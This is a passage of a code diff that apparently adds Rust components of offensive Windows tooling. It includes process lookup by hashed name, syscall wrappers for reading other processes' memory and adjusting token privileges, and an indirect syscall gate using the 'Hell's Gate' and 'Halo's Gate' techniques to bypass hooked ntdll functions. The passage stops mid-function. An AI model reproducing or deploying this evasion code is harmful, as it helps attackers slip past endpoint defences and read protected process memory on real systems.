ntstatus
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::vec::Vec;
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
use crate::{common::utils::dbj2_hash, debug_println};
|
||||
|
||||
use super::{
|
||||
def::{
|
||||
AccessMask, ClientId, ObjectAttributes, SystemProcessInformation, OBJ_CASE_INSENSITIVE,
|
||||
STATUS_INFO_LENGTH_MISMATCH,
|
||||
},
|
||||
g_instance::instance,
|
||||
};
|
||||
|
||||
/// Takes a snapshot of the currently running processes.
|
||||
///
|
||||
/// This function utilizes the `NtQuerySystemInformation` function from the NT API to retrieve
|
||||
/// information about all processes currently running on the system. It first determines the necessary
|
||||
/// buffer size, then allocates memory, and finally retrieves the process information.
|
||||
pub unsafe fn nt_process_snapshot(
|
||||
snapshot: &mut *mut SystemProcessInformation,
|
||||
size: &mut usize,
|
||||
) -> i32 {
|
||||
let mut length: u32 = 0;
|
||||
|
||||
// First call to determine the required length of the buffer for process information.
|
||||
let mut status =
|
||||
instance()
|
||||
.ntdll
|
||||
.nt_query_system_information
|
||||
.run(5, null_mut(), 0, &mut length);
|
||||
|
||||
// Check if the call returned STATUS_INFO_LENGTH_MISMATCH (expected) or another error.
|
||||
if status != STATUS_INFO_LENGTH_MISMATCH && status != 0 {
|
||||
return status;
|
||||
}
|
||||
|
||||
// Allocate memory for the SystemProcessInformation structure.
|
||||
let mut buffer = Vec::new();
|
||||
buffer.resize(length as usize, 0);
|
||||
|
||||
// Second call to actually retrieve the process information into the allocated buffer.
|
||||
status = instance().ntdll.nt_query_system_information.run(
|
||||
5,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
length,
|
||||
&mut length,
|
||||
);
|
||||
|
||||
// Check if the process information retrieval was successful.
|
||||
if status != 0 {
|
||||
return status;
|
||||
}
|
||||
|
||||
// Cast the buffer to the SystemProcessInformation structure.
|
||||
*snapshot = buffer.as_mut_ptr() as *mut SystemProcessInformation;
|
||||
*size = length as usize;
|
||||
|
||||
// Keep the buffer alive by preventing its deallocation.
|
||||
core::mem::forget(buffer);
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
/// Retrieves a handle to a process with the specified PID and desired access rights using the NT API.
|
||||
///
|
||||
/// This function opens a handle to a target process by specifying its process ID (PID) and the desired access rights.
|
||||
/// The syscall `NtOpenProcess` is used to obtain the handle, and the function initializes the required structures
|
||||
/// (`OBJECT_ATTRIBUTES` and `CLIENT_ID`) needed to make the system call.
|
||||
pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c_void {
|
||||
let mut process_handle: *mut c_void = null_mut();
|
||||
|
||||
// Initialize object attributes for the process, setting up the basic structure with default options.
|
||||
let mut object_attributes = ObjectAttributes::new();
|
||||
|
||||
ObjectAttributes::initialize(
|
||||
&mut object_attributes,
|
||||
null_mut(), // No name for the object.
|
||||
OBJ_CASE_INSENSITIVE, // Case-insensitive name comparison.
|
||||
null_mut(), // No root directory.
|
||||
null_mut(), // No security descriptor.
|
||||
);
|
||||
|
||||
// Initialize client ID structure with the target process ID.
|
||||
let mut client_id = ClientId::new();
|
||||
client_id.unique_process = pid as _;
|
||||
|
||||
// Perform a system call to NtOpenProcess to obtain a handle to the specified process.
|
||||
instance().ntdll.nt_open_process.run(
|
||||
&mut process_handle,
|
||||
desired_access,
|
||||
&mut object_attributes,
|
||||
&mut client_id as *mut _ as *mut c_void,
|
||||
);
|
||||
|
||||
process_handle
|
||||
}
|
||||
|
||||
/// Retrieves a handle to a process with the specified name hash and desired access rights using the NT API.
|
||||
///
|
||||
/// This function takes a process name hash, searches for its process ID (PID) using the `process_snapshot` function,
|
||||
/// and then opens a handle to the process using `NtOpenProcess`.
|
||||
pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) -> *mut c_void {
|
||||
let mut snapshot: *mut SystemProcessInformation = null_mut();
|
||||
let mut size: usize = 0;
|
||||
|
||||
// Take a snapshot of all currently running processes.
|
||||
let status = nt_process_snapshot(&mut snapshot, &mut size);
|
||||
|
||||
if status != 0 {
|
||||
debug_println!(
|
||||
"Failed to retrieve process snapshot: NTSTATUS: 0x{:X}",
|
||||
status
|
||||
);
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
let mut current = snapshot;
|
||||
while !current.is_null() {
|
||||
// Get the address of the process name.
|
||||
let name_addr = (*current).image_name.buffer;
|
||||
let name_len = (*current).image_name.length as usize;
|
||||
|
||||
// Only compare if the process has a name.
|
||||
if !name_addr.is_null() && name_len > 0 {
|
||||
// Convert the process name to a byte slice.
|
||||
let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len);
|
||||
|
||||
// Calculate the hash of the process name.
|
||||
let hash = dbj2_hash(name_slice);
|
||||
|
||||
// If the hash matches the provided hash, open a handle to the process.
|
||||
if name == hash {
|
||||
return get_process_handle((*current).unique_process_id as i32, desired_access);
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next process in the list.
|
||||
if (*current).next_entry_offset == 0 {
|
||||
break;
|
||||
}
|
||||
current = (current as *const u8).add((*current).next_entry_offset as usize)
|
||||
as *mut SystemProcessInformation;
|
||||
}
|
||||
|
||||
null_mut()
|
||||
}
|
||||
@@ -0,0 +1,594 @@
|
||||
use core::{
|
||||
ffi::{c_ulong, c_void},
|
||||
ptr::null_mut,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
ntapi::def::{AccessMask, IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString},
|
||||
run_syscall,
|
||||
};
|
||||
|
||||
use super::def::TokenPrivileges;
|
||||
|
||||
pub struct NtSyscall {
|
||||
/// The number of the syscall
|
||||
pub number: u16,
|
||||
/// The address of the syscall
|
||||
pub address: *mut u8,
|
||||
/// The hash of the syscall
|
||||
pub hash: usize,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtSyscall {}
|
||||
|
||||
impl NtSyscall {
|
||||
pub const fn new(hash: usize) -> Self {
|
||||
NtSyscall {
|
||||
number: 0,
|
||||
address: null_mut(),
|
||||
hash: hash,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtAllocateVirtualMemory {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtAllocateVirtualMemory {}
|
||||
|
||||
impl NtAllocateVirtualMemory {
|
||||
pub const fn new() -> Self {
|
||||
NtAllocateVirtualMemory {
|
||||
syscall: NtSyscall::new(0xf783b8ec),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtFreeVirtualMemory {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtFreeVirtualMemory {}
|
||||
|
||||
impl NtFreeVirtualMemory {
|
||||
pub const fn new() -> Self {
|
||||
NtFreeVirtualMemory {
|
||||
syscall: NtSyscall::new(0x2802c609),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtReadVirtualMemory {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtReadVirtualMemory {}
|
||||
|
||||
impl NtReadVirtualMemory {
|
||||
pub const fn new() -> Self {
|
||||
NtReadVirtualMemory {
|
||||
syscall: NtSyscall::new(0xa3288103),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtReadVirtualMemory syscall.
|
||||
///
|
||||
/// This function reads memory in the virtual address space of a specified process.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `process_handle` A handle to the process whose memory is to be read.
|
||||
/// * `[in]` - `base_address` A pointer to the base address in the specified process from which to read.
|
||||
/// * `[out]` - `buffer` A pointer to a buffer that receives the contents from the address space of the specified process.
|
||||
/// * `[in]` - `buffer_size` The number of bytes to be read into the buffer.
|
||||
/// * `[out, opt]` - `number_of_bytes_read` A pointer to a variable that receives the number of bytes transferred into the buffer.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
pub fn run(
|
||||
&self,
|
||||
process_handle: *mut c_void,
|
||||
base_address: *const c_void,
|
||||
buffer: *mut c_void,
|
||||
buffer_size: usize,
|
||||
number_of_bytes_read: *mut usize,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
process_handle,
|
||||
base_address,
|
||||
buffer,
|
||||
buffer_size,
|
||||
number_of_bytes_read
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtQueryVirtualMemory {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtQueryVirtualMemory {}
|
||||
|
||||
impl NtQueryVirtualMemory {
|
||||
pub const fn new() -> Self {
|
||||
NtQueryVirtualMemory {
|
||||
syscall: NtSyscall::new(0x10c0e85d),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtQueryVirtualMemory syscall.
|
||||
///
|
||||
/// This function queries information about the virtual memory of a specified process.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `process_handle` A handle to the process whose virtual memory is to be queried.
|
||||
/// * `[in]` - `base_address` A pointer to the base address in the process's virtual memory space.
|
||||
/// * `[in]` - `memory_information_class` Specifies the type of information to be queried (e.g., MemoryBasicInformation).
|
||||
/// * `[out]` - `memory_information` A pointer to a buffer that receives the information about the memory.
|
||||
/// * `[in]` - `memory_information_length` The size, in bytes, of the buffer pointed to by `memory_information`.
|
||||
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the number of bytes returned.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
pub fn run(
|
||||
&self,
|
||||
process_handle: *mut c_void,
|
||||
base_address: *const c_void,
|
||||
memory_information_class: u32,
|
||||
memory_information: *mut c_void,
|
||||
memory_information_length: usize,
|
||||
return_length: *mut usize,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
process_handle,
|
||||
base_address,
|
||||
memory_information_class as usize,
|
||||
memory_information,
|
||||
memory_information_length,
|
||||
return_length
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtOpenProcess {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtOpenProcess {}
|
||||
|
||||
impl NtOpenProcess {
|
||||
pub const fn new() -> Self {
|
||||
NtOpenProcess {
|
||||
syscall: NtSyscall::new(0x4b82f718),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtOpenProcess syscall.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[out]` - `process_handle` A mutable pointer to a handle that will receive the process handle.
|
||||
/// * `[in]` - `desired_access` The desired access for the process.
|
||||
/// * `[in]` - `object_attributes` A pointer to the object attributes structure.
|
||||
/// * `[in, opt]` - `client_id` A pointer to the client ID structure.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
pub fn run(
|
||||
&self,
|
||||
process_handle: &mut *mut c_void,
|
||||
desired_access: AccessMask,
|
||||
object_attributes: &mut ObjectAttributes,
|
||||
client_id: *mut c_void,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
process_handle,
|
||||
desired_access,
|
||||
object_attributes as *mut _ as *mut c_void,
|
||||
client_id
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtQuerySystemInformation {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtQuerySystemInformation {}
|
||||
|
||||
impl NtQuerySystemInformation {
|
||||
pub const fn new() -> Self {
|
||||
NtQuerySystemInformation {
|
||||
syscall: NtSyscall::new(0x7bc23928),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtQuerySystemInformation syscall.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `system_information_class` The system information class to be queried.
|
||||
/// * `[out]` - `system_information` A pointer to a buffer that receives the requested information.
|
||||
/// * `[in]` - `system_information_length` The size, in bytes, of the buffer pointed to by the `system_information` parameter.
|
||||
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the size, in bytes, of the data returned.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
pub fn run(
|
||||
&self,
|
||||
system_information_class: u32,
|
||||
system_information: *mut c_void,
|
||||
system_information_length: u32,
|
||||
return_length: *mut u32,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
system_information_class,
|
||||
system_information,
|
||||
system_information_length,
|
||||
return_length
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtQueryInformationProcess {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtQueryInformationProcess {}
|
||||
|
||||
impl NtQueryInformationProcess {
|
||||
pub const fn new() -> Self {
|
||||
NtQueryInformationProcess {
|
||||
syscall: NtSyscall::new(0x8cdc5dc2),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtQueryInformationProcess syscall.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `process_handle` A handle to the process.
|
||||
/// * `[in]` - `process_information_class` The class of information to be queried.
|
||||
/// * `[out]` - `process_information` A pointer to a buffer that receives the requested information.
|
||||
/// * `[in]` - `process_information_length` The size, in bytes, of the buffer pointed to by the `process_information` parameter.
|
||||
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the size, in bytes, of the data returned.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
pub fn run(
|
||||
&self,
|
||||
process_handle: *mut c_void,
|
||||
process_information_class: u32,
|
||||
process_information: *mut c_void,
|
||||
process_information_length: u32,
|
||||
return_length: *mut u32,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
process_handle,
|
||||
process_information_class,
|
||||
process_information,
|
||||
process_information_length,
|
||||
return_length
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtWriteFile {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtWriteFile {}
|
||||
|
||||
impl NtWriteFile {
|
||||
pub const fn new() -> Self {
|
||||
NtWriteFile {
|
||||
syscall: NtSyscall::new(0xe0d61db2),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtWriteFile syscall.
|
||||
///
|
||||
/// This function writes data to a file or I/O device. It wraps the NtWriteFile syscall.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `file_handle` A handle to the file or I/O device to be written to.
|
||||
/// * `[in, opt]` - `event` An optional handle to an event object that will be signaled when the operation completes.
|
||||
/// * `[in, opt]` - `apc_routine` An optional pointer to an APC routine to be called when the operation completes.
|
||||
/// * `[in, opt]` - `apc_context` An optional pointer to a context for the APC routine.
|
||||
/// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation.
|
||||
/// * `[in]` - `buffer` A pointer to a buffer that contains the data to be written to the file or device.
|
||||
/// * `[in]` - `length` The length, in bytes, of the buffer pointed to by the `buffer` parameter.
|
||||
/// * `[in, opt]` - `byte_offset` A pointer to the byte offset in the file where the operation should begin. If this parameter is `None`, the system writes data to the current file position.
|
||||
/// * `[in, opt]` - `key` A pointer to a caller-supplied variable to receive the I/O completion key. This parameter is ignored if `event` is not `None`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
#[allow(dead_code)]
|
||||
pub fn run(
|
||||
&self,
|
||||
file_handle: *mut c_void,
|
||||
event: *mut c_void,
|
||||
apc_routine: *mut c_void,
|
||||
apc_context: *mut c_void,
|
||||
io_status_block: &mut IoStatusBlock,
|
||||
buffer: *mut c_void,
|
||||
length: c_ulong,
|
||||
byte_offset: *mut u64,
|
||||
key: *mut c_ulong,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
file_handle,
|
||||
event,
|
||||
apc_routine,
|
||||
apc_context,
|
||||
io_status_block,
|
||||
buffer,
|
||||
length,
|
||||
byte_offset,
|
||||
key
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtCreateFile {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtCreateFile {}
|
||||
|
||||
impl NtCreateFile {
|
||||
pub const fn new() -> Self {
|
||||
NtCreateFile {
|
||||
syscall: NtSyscall::new(0x66163fbb),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtCreateFile syscall.
|
||||
///
|
||||
/// This function creates or opens a file or I/O device. It wraps the NtCreateFile syscall.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[out]` - `file_handle` A mutable pointer to a handle that will receive the file handle.
|
||||
/// * `[in]` - `desired_access` The access to the file or device, which can be read, write, or both.
|
||||
/// * `[in]` - `obj_attributes` A pointer to an OBJECT_ATTRIBUTES structure that specifies the object name and other attributes.
|
||||
/// * `[out]` - `io_status_block` A pointer to an IO_STATUS_BLOCK structure that receives the final completion status and information about the operation.
|
||||
/// * `[in, opt]` - `allocation_size` A pointer to a LARGE_INTEGER that specifies the initial allocation size in bytes. If this parameter is `None`, the file is allocated with a default size.
|
||||
/// * `[in]` - `file_attributes` The file attributes for the file or device if it is created.
|
||||
/// * `[in]` - `share_access` The requested sharing mode of the file or device.
|
||||
/// * `[in]` - `create_disposition` The action to take depending on whether the file or device already exists.
|
||||
/// * `[in]` - `create_options` Options to be applied when creating or opening the file or device.
|
||||
/// * `[in, opt]` - `ea_buffer` A pointer to a buffer that contains the extended attributes (EAs) for the file or device. This parameter is optional.
|
||||
/// * `[in]` - `ea_length` The length, in bytes, of the EaBuffer parameter.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
#[allow(dead_code)]
|
||||
pub fn run(
|
||||
&self,
|
||||
file_handle: &mut *mut c_void,
|
||||
desired_access: u32,
|
||||
obj_attributes: &mut ObjectAttributes,
|
||||
io_status_block: &mut IoStatusBlock,
|
||||
allocation_size: *mut LargeInteger,
|
||||
file_attributes: u32,
|
||||
share_access: u32,
|
||||
create_disposition: u32,
|
||||
create_options: u32,
|
||||
ea_buffer: *mut c_void,
|
||||
ea_length: u32,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
file_handle,
|
||||
desired_access,
|
||||
obj_attributes,
|
||||
io_status_block,
|
||||
allocation_size,
|
||||
file_attributes,
|
||||
share_access,
|
||||
create_disposition,
|
||||
create_options,
|
||||
ea_buffer,
|
||||
ea_length
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtClose {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtClose {}
|
||||
|
||||
impl NtClose {
|
||||
pub const fn new() -> Self {
|
||||
NtClose {
|
||||
syscall: NtSyscall::new(0x40d6e69d),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper function for NtClose to avoid repetitive run_syscall calls.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `handle` A handle to an object. This is a required parameter that must be valid.
|
||||
/// It represents the handle that will be closed by the function.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `true` if the operation was successful, `false` otherwise.
|
||||
/// The function returns an NTSTATUS code; however, in this wrapper, the result is simplified to a boolean.
|
||||
#[allow(dead_code)]
|
||||
pub fn run(&self, handle: *mut c_void) -> i32 {
|
||||
run_syscall!(self.syscall.number, self.syscall.address as usize, handle)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtOpenProcessToken {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtOpenProcessToken {}
|
||||
|
||||
impl NtOpenProcessToken {
|
||||
pub const fn new() -> Self {
|
||||
NtOpenProcessToken {
|
||||
syscall: NtSyscall::new(0x350dca99),
|
||||
}
|
||||
}
|
||||
|
||||
/// Wrapper for the NtOpenProcessToken syscall.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `process_handle` The handle of the process whose token is to be opened.
|
||||
/// * `[in]` - `desired_access` The desired access for the token.
|
||||
/// * `[out]` - `token_handle` A mutable pointer to a handle that will receive the token handle.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
pub fn run(
|
||||
&self,
|
||||
process_handle: *mut c_void,
|
||||
desired_access: AccessMask,
|
||||
token_handle: &mut *mut c_void,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
process_handle,
|
||||
desired_access,
|
||||
token_handle
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct NtAdjustPrivilegesToken {
|
||||
pub syscall: NtSyscall,
|
||||
}
|
||||
|
||||
unsafe impl Sync for NtAdjustPrivilegesToken {}
|
||||
|
||||
impl NtAdjustPrivilegesToken {
|
||||
pub const fn new() -> Self {
|
||||
NtAdjustPrivilegesToken {
|
||||
syscall: NtSyscall::new(0x2dbc736d),
|
||||
}
|
||||
}
|
||||
/// Wrapper for the NtAdjustPrivilegesToken syscall.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `[in]` - `token_handle` The handle of the token to be adjusted.
|
||||
/// * `[in]` - `disable_all_privileges` Boolean to disable all privileges.
|
||||
/// * `[in, opt]` - `new_state` A pointer to a TOKEN_PRIVILEGES structure.
|
||||
/// * `[in]` - `buffer_length` The length of the buffer for previous privileges.
|
||||
/// * `[out, opt]` - `previous_state` A pointer to a buffer that receives the previous state.
|
||||
/// * `[out, opt]` - `return_length` A pointer to a variable that receives the length of the previous state.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `i32` - The NTSTATUS code of the operation.
|
||||
pub fn run(
|
||||
&self,
|
||||
token_handle: *mut c_void,
|
||||
disable_all_privileges: bool,
|
||||
new_state: *mut TokenPrivileges,
|
||||
buffer_length: u32,
|
||||
previous_state: *mut TokenPrivileges,
|
||||
return_length: *mut u32,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
self.syscall.number,
|
||||
self.syscall.address as usize,
|
||||
token_handle,
|
||||
disable_all_privileges as i32,
|
||||
new_state,
|
||||
buffer_length,
|
||||
previous_state,
|
||||
return_length
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/// Type definition for the LdrLoadDll function.
|
||||
///
|
||||
/// Loads a DLL into the address space of the calling process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `[in, opt]` - `DllPath`: A pointer to a `UNICODE_STRING` that specifies the fully qualified path of the DLL to load. This can be `NULL`, in which case the system searches for the DLL.
|
||||
/// - `[in, opt]` - `DllCharacteristics`: A pointer to a variable that specifies the DLL characteristics (optional, can be `NULL`).
|
||||
/// - `[in]` - `DllName`: A `UNICODE_STRING` that specifies the name of the DLL to load.
|
||||
/// - `[out]` - `DllHandle`: A pointer to a variable that receives the handle to the loaded DLL.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `i32` - The NTSTATUS code of the operation.
|
||||
type LdrLoadDll = unsafe extern "system" fn(
|
||||
DllPath: *mut u16,
|
||||
DllCharacteristics: *mut u32,
|
||||
DllName: UnicodeString,
|
||||
DllHandle: *mut c_void,
|
||||
) -> i32;
|
||||
|
||||
pub struct NtDll {
|
||||
pub module_base: *mut u8,
|
||||
pub ldr_load_dll: LdrLoadDll,
|
||||
pub nt_allocate_virtual_memory: NtAllocateVirtualMemory,
|
||||
pub nt_free_virtual_memory: NtFreeVirtualMemory,
|
||||
pub nt_read_virtual_memory: NtReadVirtualMemory,
|
||||
pub nt_query_virtual_memory: NtQueryVirtualMemory,
|
||||
pub nt_open_process: NtOpenProcess,
|
||||
pub nt_query_system_information: NtQuerySystemInformation,
|
||||
pub nt_query_information_process: NtQueryInformationProcess,
|
||||
pub nt_create_file: NtCreateFile,
|
||||
pub nt_write_file: NtWriteFile,
|
||||
pub nt_close: NtClose,
|
||||
pub nt_open_process_token: NtOpenProcessToken,
|
||||
pub nt_adjust_privileges_token: NtAdjustPrivilegesToken,
|
||||
}
|
||||
|
||||
impl NtDll {
|
||||
pub fn new() -> Self {
|
||||
NtDll {
|
||||
module_base: null_mut(),
|
||||
ldr_load_dll: unsafe { core::mem::transmute(null_mut::<c_void>()) },
|
||||
nt_allocate_virtual_memory: NtAllocateVirtualMemory::new(),
|
||||
nt_free_virtual_memory: NtFreeVirtualMemory::new(),
|
||||
nt_read_virtual_memory: NtReadVirtualMemory::new(),
|
||||
nt_query_virtual_memory: NtQueryVirtualMemory::new(),
|
||||
nt_open_process: NtOpenProcess::new(),
|
||||
nt_query_system_information: NtQuerySystemInformation::new(),
|
||||
nt_query_information_process: NtQueryInformationProcess::new(),
|
||||
nt_create_file: NtCreateFile::new(),
|
||||
nt_write_file: NtWriteFile::new(),
|
||||
nt_close: NtClose::new(),
|
||||
nt_open_process_token: NtOpenProcessToken::new(),
|
||||
nt_adjust_privileges_token: NtAdjustPrivilegesToken::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
use core::arch::global_asm;
|
||||
|
||||
global_asm!(
|
||||
r#"
|
||||
.globl do_syscall
|
||||
|
||||
.section .text
|
||||
|
||||
do_syscall:
|
||||
mov [rsp - 0x8], rsi
|
||||
mov [rsp - 0x10], rdi
|
||||
mov [rsp - 0x18], r12
|
||||
|
||||
xor r10, r10
|
||||
mov rax, rcx
|
||||
mov r10, rax
|
||||
|
||||
mov eax, ecx
|
||||
|
||||
mov r12, rdx
|
||||
mov rcx, r8
|
||||
|
||||
mov r10, r9
|
||||
mov rdx, [rsp + 0x28]
|
||||
mov r8, [rsp + 0x30]
|
||||
mov r9, [rsp + 0x38]
|
||||
|
||||
sub rcx, 0x4
|
||||
jle skip
|
||||
|
||||
lea rsi, [rsp + 0x40]
|
||||
lea rdi, [rsp + 0x28]
|
||||
|
||||
rep movsq
|
||||
skip:
|
||||
mov rcx, r12
|
||||
|
||||
mov rsi, [rsp - 0x8]
|
||||
mov rdi, [rsp - 0x10]
|
||||
mov r12, [rsp - 0x18]
|
||||
|
||||
jmp rcx
|
||||
"#
|
||||
);
|
||||
|
||||
extern "C" {
|
||||
pub fn do_syscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32;
|
||||
}
|
||||
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
#[macro_export]
|
||||
macro_rules! run_syscall {
|
||||
($ssn:expr, $addr:expr, $($y:expr), +) => {
|
||||
{
|
||||
let mut cnt: u32 = 0;
|
||||
|
||||
// Count the number of arguments passed
|
||||
$(
|
||||
let _ = $y;
|
||||
cnt += 1;
|
||||
)+
|
||||
|
||||
// Perform the syscall with the given number, address (offset by 0x12),
|
||||
// argument count, and the arguments
|
||||
unsafe { $crate::ntapi::syscall_gate::do_syscall($ssn, $addr + 0x12, cnt, $($y), +) }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const UP: isize = -32; // Constant for upward memory search
|
||||
const DOWN: usize = 32; // Constant for downward memory search
|
||||
|
||||
pub unsafe fn get_ssn(address: *mut u8) -> u16 {
|
||||
// Check if the address is null
|
||||
if address.is_null() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Hell's Gate: Check if the bytes match a typical syscall instruction sequence
|
||||
// mov r10, rcx; mov rcx, <syscall>
|
||||
if address.read() == 0x4c
|
||||
&& address.add(1).read() == 0x8b
|
||||
&& address.add(2).read() == 0xd1
|
||||
&& address.add(3).read() == 0xb8
|
||||
&& address.add(6).read() == 0x00
|
||||
&& address.add(7).read() == 0x00
|
||||
{
|
||||
// Extract the syscall number from the instruction
|
||||
let high = address.add(5).read() as u16;
|
||||
let low = address.add(4).read() as u16;
|
||||
return ((high << 8) | low) as u16;
|
||||
}
|
||||
|
||||
// Halo's Gate: Check if the syscall is hooked and attempt to locate a clean syscall
|
||||
if address.read() == 0xe9 {
|
||||
for idx in 1..500 {
|
||||
// Check downwards for a clean syscall instruction
|
||||
if address.add(idx * DOWN).read() == 0x4c
|
||||
&& address.add(1 + idx * DOWN).read() == 0x8b
|
||||
&& address.add(2 + idx * DOWN).read() == 0xd1
|
||||
&& address.add(3 + idx * DOWN).read() == 0xb8
|
||||
&& address.add(6 + idx * DOWN).read() == 0x00
|
||||
&& address.add(7 + idx * DOWN).read() == 0x00
|
||||
{
|
||||
let high = address.add(5 + idx * DOWN).read() as u16;
|
||||
let low = address.add(4 + idx * DOWN).read() as u16;
|
||||
return (high << 8) | (low.wrapping_sub(idx as u16));
|
||||
}
|
||||
|
||||
// Check upwards for a clean syscall instruction
|
||||
if address.offset(idx as isize * UP).read() == 0x4c
|
||||
&& address.offset(1 + idx as isize * UP).read() == 0x8b
|
||||
&& address.offset(2 + idx as isize * UP).read() == 0xd1
|
||||
&& address.offset(3 + idx as isize * UP).read() == 0xb8
|
||||
&& address.offset(6 + idx as isize * UP).read() == 0x00
|
||||
&& address.offset(7 + idx as isize * UP).read() == 0x00
|
||||
{
|
||||
